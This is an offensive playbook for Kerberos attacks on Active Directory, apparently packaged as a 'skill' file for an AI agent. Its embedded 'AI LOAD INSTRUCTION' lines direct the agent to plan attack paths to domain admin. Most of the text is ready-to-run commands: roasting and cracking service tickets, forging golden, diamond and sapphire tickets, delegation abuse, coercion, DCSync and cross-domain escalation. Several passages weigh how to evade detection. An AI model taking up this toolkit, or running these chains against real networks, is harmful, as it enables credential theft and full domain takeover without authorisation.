Active Directory Kerberos Attacks

SKILL: Kerberos Attack Playbook — Expert AD Attack Guide

AI LOAD INSTRUCTION: Expert Kerberos attack techniques for AD environments. Covers AS-REP roasting, Kerberoasting, golden/silver/diamond/sapphire tickets, delegation attacks, pass-the-ticket, and overpass-the-hash. Base models miss ticket type distinctions, delegation chain nuances, and detection-evasion trade-offs.

0. RELATED ROUTING

Before going deep, consider loading:

• active-directory-acl-abuse for ACL-based AD attacks often chained with Kerberos
• active-directory-certificate-services for ADCS-based persistence (golden certificate)
• ntlm-relay-coercion for NTLM relay attacks that complement Kerberos abuse
• windows-lateral-movement after obtaining tickets for lateral movement

Advanced Reference

Also load KERBEROS_ATTACK_CHAINS.md when you need:

• Multi-step attack chains combining Kerberos with ACL abuse, ADCS, and relay
• End-to-end scenarios from foothold to domain admin
• Chained delegation attack flows

---

1. KERBEROS AUTHENTICATION PRIMER

Client              KDC (DC)              Service
  │                   │                     │
  │── AS-REQ ────────→│                     │  (1) Request TGT with user creds
  │←─ AS-REP ─────────│                     │  (2) Receive TGT (encrypted with krbtgt hash)
  │                   │                     │
  │── TGS-REQ ───────→│                     │  (3) Present TGT, request service ticket
  │←─ TGS-REP ────────│                     │  (4) Receive TGS (encrypted with service hash)
  │                   │                     │
  │── AP-REQ ─────────────────────────────→│  (5) Present TGS to service
  │←─ AP-REP ──────────────────────────────│  (6) Mutual auth (optional)

---

2. AS-REP ROASTING

Users with "Do not require Kerberos preauthentication" can be queried for AS-REP without knowing their password.

Enumerate Vulnerable Users

# Impacket — from Linux
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP -format hashcat -outputfile asrep.txt

# Impacket — with domain creds (enumerate automatically)
GetNPUsers.py DOMAIN/user:password -dc-ip DC_IP -request

# Rubeus — from Windows (domain-joined)
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

# PowerView — enumerate users
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname

Crack AS-REP Hash

# Hashcat mode 18200
hashcat -m 18200 asrep.txt rockyou.txt --rules-file best64.rule

# John
john asrep.txt --wordlist=rockyou.txt

---

3. KERBEROASTING

Any domain user can request TGS for accounts with SPNs. The TGS is encrypted with the service account's NTLM hash.

Request Service Tickets

# Impacket
GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request -outputfile tgs.txt

# Rubeus (from Windows)
Rubeus.exe kerberoast /outfile:tgs.txt

# Rubeus — target specific SPN / high-value accounts
Rubeus.exe kerberoast /user:svc_sql /outfile:tgs_sql.txt

# PowerView + manual request
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/db.domain.com"

Crack TGS Hash

# Hashcat mode 13100 (RC4) or 19700 (AES)
hashcat -m 13100 tgs.txt rockyou.txt --rules-file best64.rule

# RC4 tickets crack much faster than AES256 — target RC4 if possible
# Rubeus: /tgtdeleg forces RC4 on some configs
Rubeus.exe kerberoast /tgtdeleg

---

4. TICKET FORGING — GOLDEN, SILVER, DIAMOND, SAPPHIRE

Golden Ticket

Forge TGT using the krbtgt hash → impersonate any user, including non-existent ones.

# Impacket — forge golden ticket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM administrator

# Mimikatz
kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /krbtgt:KRBTGT_HASH /ptt

# Rubeus
Rubeus.exe golden /rc4:KRBTGT_HASH /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /ptt

Prerequisites: krbtgt NTLM hash (from DCSync or NTDS.dit) Persistence: Valid until krbtgt password is changed twice

Silver Ticket

Forge TGS using the service account's hash → access specific service only, no KDC interaction.

# Impacket — forge silver ticket for CIFS (file share)
ticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM -spn cifs/target.domain.com administrator

# Mimikatz
kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /target:target.domain.com /service:cifs /rc4:SERVICE_HASH /ptt

Diamond Ticket

Modify a legitimately issued TGT → harder to detect than golden ticket.

# Rubeus — request real TGT then modify PAC
Rubeus.exe diamond /krbkey:KRBTGT_AES256 /user:administrator /domain:DOMAIN.COM /dc:DC01.DOMAIN.COM /ticketuser:targetadmin /ticketuserid:500 /groups:512 /ptt

Advantage: The ticket's metadata (timestamps, enc type) matches a real TGT issuance.

Sapphire Ticket

Uses S4U2Self to get a real PAC for the target user, then embeds it in a forged ticket.

# Rubeus
Rubeus.exe diamond /krbkey:KRBTGT_AES256 /ticketuser:administrator /ticketuserid:500 /groups:512 /tgtdeleg /ptt

Advantage: PAC is a genuine copy from KDC, making detection extremely difficult.

---

5. DELEGATION ATTACKS

Unconstrained Delegation

Hosts with unconstrained delegation store user TGTs in memory.

# Enumerate (PowerView)
Get-DomainComputer -Unconstrained | Select-Object dnshostname

# Coerce admin authentication → capture TGT (Rubeus monitor mode)
Rubeus.exe monitor /interval:5 /nowrap

# Trigger via PrinterBug / PetitPotam → DC authenticates → TGT captured
SpoolSample.exe DC01.domain.com COMPROMISED_HOST.domain.com

Constrained Delegation (S4U2Proxy)

# Enumerate
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname,msds-allowedtodelegateto

# S4U2Self + S4U2Proxy → get TGS for allowed service as any user
getST.py -spn cifs/target.domain.com -impersonate administrator DOMAIN/svc_account:password -dc-ip DC_IP

# Rubeus
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/target.domain.com /ptt

Resource-Based Constrained Delegation (RBCD)

Requires write access to msDS-AllowedToActOnBehalfOfOtherIdentity on the target.

# 1. Create or control a computer account (MAQ > 0)
addcomputer.py -computer-name 'FAKE$' -computer-pass 'P@ss123' -dc-ip DC_IP DOMAIN/user:password

# 2. Set RBCD on target
rbcd.py -delegate-from 'FAKE$' -delegate-to 'TARGET$' -dc-ip DC_IP -action write DOMAIN/user:password

# 3. S4U2Self + S4U2Proxy from controlled account
getST.py -spn cifs/TARGET.DOMAIN.COM -impersonate administrator DOMAIN/'FAKE$':'P@ss123' -dc-ip DC_IP

# 4. Use the ticket
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass DOMAIN/administrator@TARGET.DOMAIN.COM

---

6. PASS-THE-TICKET & OVERPASS-THE-HASH

Pass-the-Ticket

# Impacket — use .ccache ticket
export KRB5CCNAME=/path/to/ticket.ccache
psexec.py -k -no-pass DOMAIN/administrator@target.domain.com

# Mimikatz — inject .kirbi ticket into session
kerberos::ptt ticket.kirbi

# Rubeus
Rubeus.exe ptt /ticket:base64_ticket_blob

Overpass-the-Hash (Pass-the-Key)

Use NTLM hash to request a Kerberos TGT → pure Kerberos authentication (avoids NTLM logging).

# Impacket
getTGT.py DOMAIN/user -hashes :NTLM_HASH -dc-ip DC_IP
export KRB5CCNAME=user.ccache

# Rubeus (from Windows)
Rubeus.exe asktgt /user:administrator /rc4:NTLM_HASH /ptt

# Mimikatz
sekurlsa::pth /user:administrator /domain:DOMAIN.COM /ntlm:NTLM_HASH /run:cmd.exe

---

7. KERBEROS DOUBLE HOP PROBLEM

When authenticating via Kerberos across two hops (A → B → C), B cannot forward A's credentials to C by default.

Solutions

---

8. KERBEROS ATTACK DECISION TREE

AD environment — targeting Kerberos
│
├── Have domain user creds?
│   ├── Kerberoast → crack service account hashes (§3)
│   ├── Enumerate users without preauth → AS-REP roast (§2)
│   ├── Enumerate delegation → unconstrained/constrained/RBCD (§5)
│   └── Enumerate SPNs for high-value accounts
│
├── Have service account hash?
│   ├── Silver ticket for that service (§4)
│   └── If constrained delegation → S4U2Proxy chain (§5)
│
├── Have krbtgt hash?
│   ├── Golden ticket → any user, any service (§4)
│   ├── Diamond ticket → stealthier forging (§4)
│   └── Sapphire ticket → hardest to detect (§4)
│
├── Compromised host with unconstrained delegation?
│   ├── Monitor for incoming TGTs (Rubeus monitor)
│   ├── Coerce DC authentication (PrinterBug/PetitPotam)
│   └── Capture DC TGT → DCSync
│
├── Can write to target's msDS-AllowedToActOnBehalfOfOtherIdentity?
│   └── RBCD attack (§5) → create machine account + delegate
│
├── Have NTLM hash but need Kerberos auth?
│   └── Overpass-the-Hash → request TGT (§6)
│
└── Have .kirbi / .ccache ticket?
    └── Pass-the-Ticket → use directly (§6)

Kerberos Multi-Step Attack Chains

AI LOAD INSTRUCTION: Load this for end-to-end Kerberos attack chains that combine multiple AD techniques. Assumes the main SKILL.md is already loaded for individual Kerberos attacks. Use when planning multi-step attack paths from initial foothold to domain admin.

---

1. CHAIN: KERBEROAST → CONSTRAINED DELEGATION → DOMAIN ADMIN

Scenario

Low-privilege domain user → cracked service account → delegation abuse → DA.

Step 1: Kerberoast
│  GetUserSPNs.py DOMAIN/lowpriv:password -dc-ip DC -request
│  hashcat -m 13100 tgs.txt wordlist.txt
│  → Cracked: svc_backup / P@ssw0rd2024
│
Step 2: Enumerate delegation
│  findDelegation.py DOMAIN/svc_backup:P@ssw0rd2024 -dc-ip DC
│  → svc_backup has constrained delegation to cifs/DC01.domain.com
│
Step 3: S4U2Self + S4U2Proxy
│  getST.py -spn cifs/DC01.domain.com -impersonate administrator DOMAIN/svc_backup:P@ssw0rd2024
│
Step 4: Access DC as administrator
│  export KRB5CCNAME=administrator.ccache
│  secretsdump.py -k -no-pass DC01.domain.com
│  → Domain hashes dumped

---

2. CHAIN: RBCD + KERBEROS → LATERAL MOVEMENT

Scenario

Write access to a computer's msDS-AllowedToActOnBehalfOfOtherIdentity → RBCD → lateral to that host.

Step 1: Identify writable computer object
│  (via BloodHound: GenericWrite on TARGET$)
│
Step 2: Create machine account
│  addcomputer.py -computer-name 'EVIL$' -computer-pass 'Passw0rd!' DOMAIN/user:pass -dc-ip DC
│
Step 3: Set RBCD
│  rbcd.py -delegate-from 'EVIL$' -delegate-to 'TARGET$' -action write DOMAIN/user:pass -dc-ip DC
│
Step 4: S4U chain
│  getST.py -spn cifs/TARGET.domain.com -impersonate administrator DOMAIN/'EVIL$':'Passw0rd!' -dc-ip DC
│
Step 5: Use ticket
│  export KRB5CCNAME=administrator.ccache
│  psexec.py -k -no-pass TARGET.domain.com

---

3. CHAIN: UNCONSTRAINED DELEGATION + PRINTERBUG → DCSYNC

Scenario

Compromised host with unconstrained delegation → coerce DC → capture DC TGT → DCSync.

Step 1: Confirm unconstrained delegation
│  Get-DomainComputer -Unconstrained (via PowerView)
│  → WEBSRV01.domain.com has unconstrained delegation
│
Step 2: Start Rubeus monitor on WEBSRV01
│  Rubeus.exe monitor /interval:5 /nowrap /targetuser:DC01$
│
Step 3: Coerce DC authentication
│  # From any domain machine, trigger PrinterBug:
│  SpoolSample.exe DC01.domain.com WEBSRV01.domain.com
│  # Or PetitPotam:
│  PetitPotam.py WEBSRV01.domain.com DC01.domain.com
│
Step 4: Capture DC01$ TGT from Rubeus output
│  Rubeus.exe ptt /ticket:base64_DC01_TGT
│
Step 5: DCSync with DC machine ticket
│  mimikatz # lsadump::dcsync /domain:domain.com /user:krbtgt
│  → krbtgt hash obtained → golden ticket capability

---

4. CHAIN: AS-REP ROAST → ACL ABUSE → DCSYNC

Scenario

No creds initially → AS-REP roast → cracked user has DCSync rights via ACL path.

Step 1: Enumerate users without preauth (no creds needed)
│  GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC -format hashcat
│  → $krb5asrep$23$svc_monitor@DOMAIN:...
│
Step 2: Crack AS-REP hash
│  hashcat -m 18200 asrep.txt wordlist.txt
│  → svc_monitor / Welcome2024!
│
Step 3: BloodHound enumeration
│  bloodhound-python -d domain.com -u svc_monitor -p Welcome2024! -c all -dc DC01
│  → svc_monitor has GenericAll on IT-ADMINS group
│  → IT-ADMINS group has DCSync rights
│
Step 4: Add self to IT-ADMINS
│  net rpc group addmem "IT-ADMINS" svc_monitor -U DOMAIN/svc_monitor -S DC01
│
Step 5: DCSync
│  secretsdump.py DOMAIN/svc_monitor:Welcome2024!@DC01
│  → All domain hashes

---

5. CHAIN: TARGETED KERBEROAST VIA ACL

Scenario

GenericWrite on a user → set SPN → kerberoast → crack password.

Step 1: Identify GenericWrite permission
│  BloodHound: user "lowpriv" has GenericWrite on "svc_admin"
│
Step 2: Set SPN on target user (targeted kerberoasting)
│  # PowerView
│  Set-DomainObject -Identity svc_admin -Set @{serviceprincipalname='fake/service'}
│  # Or Impacket
│  addspn.py -u DOMAIN/lowpriv -p password -t svc_admin -s fake/service DC01
│
Step 3: Kerberoast the target
│  GetUserSPNs.py DOMAIN/lowpriv:password -dc-ip DC01 -request-user svc_admin
│
Step 4: Crack and clean up
│  hashcat -m 13100 tgs.txt wordlist.txt
│  # Remove the fake SPN
│  Set-DomainObject -Identity svc_admin -Clear serviceprincipalname

---

6. CHAIN: GOLDEN TICKET → CROSS-DOMAIN ESCALATION

Scenario

Compromised child domain → golden ticket with SID history → enterprise admin in parent domain.

Step 1: Obtain child domain krbtgt hash
│  secretsdump.py CHILD/administrator@childDC -just-dc-user krbtgt
│
Step 2: Get parent domain SID and Enterprise Admins group RID
│  lookupsid.py PARENT/user:pass@parentDC 0
│  → Parent Domain SID: S-1-5-21-PARENT...
│  → Enterprise Admins RID: 519
│
Step 3: Forge golden ticket with SID history (ExtraSIDs)
│  ticketer.py -nthash KRBTGT_HASH \
│    -domain-sid S-1-5-21-CHILD... \
│    -domain CHILD.PARENT.COM \
│    -extra-sid S-1-5-21-PARENT...-519 \
│    administrator
│
Step 4: Access parent domain DC
│  export KRB5CCNAME=administrator.ccache
│  psexec.py -k -no-pass PARENT.COM/administrator@parentDC.parent.com

---

7. CHAIN: SHADOW CREDENTIALS + KERBEROS

Scenario

GenericWrite on user → Shadow Credentials → certificate-based auth → TGT.

Step 1: Identify GenericWrite on target user/computer
│  BloodHound path analysis
│
Step 2: Add shadow credential (msDS-KeyCredentialLink)
│  # Whisker (Windows)
│  Whisker.exe add /target:svc_admin /domain:domain.com /dc:DC01
│  → Certificate and device ID generated
│
│  # pyWhisker (Linux)
│  pywhisker.py -d domain.com -u lowpriv -p password --target svc_admin --action add --dc-ip DC01
│
Step 3: Use certificate to get TGT (PKINIT)
│  Rubeus.exe asktgt /user:svc_admin /certificate:cert.pfx /password:certpass /ptt
│
│  # Or with PKINITtools
│  gettgtpkinit.py -cert-pfx cert.pfx -pfx-pass certpass DOMAIN/svc_admin tgt.ccache
│
Step 4: Use TGT for further attacks
│  export KRB5CCNAME=tgt.ccache
│  # Now act as svc_admin

---

8. ATTACK CHAIN SELECTION GUIDE

What access do you have?
│
├── No domain creds
│   ├── Username list available? → AS-REP Roast (Chain 4)
│   └── Network access only? → NTLM relay → see ntlm-relay-coercion
│
├── Low-privilege domain user
│   ├── Kerberoastable SPNs found? → Kerberoast chain (Chain 1)
│   ├── GenericWrite on user? → Targeted Kerberoast (Chain 5) or Shadow Creds (Chain 7)
│   ├── GenericWrite on computer? → RBCD (Chain 2)
│   └── Host with unconstrained delegation? → PrinterBug chain (Chain 3)
│
├── Service account compromised
│   ├── Has constrained delegation? → S4U chain (Chain 1)
│   └── No delegation? → Silver ticket for specific service
│
├── Domain Admin in child domain
│   └── Want parent domain? → Golden ticket + ExtraSIDs (Chain 6)
│
└── Have krbtgt hash
    ├── Golden ticket (basic persistence)
    ├── Diamond ticket (evasive persistence)
    └── Sapphire ticket (hardest to detect)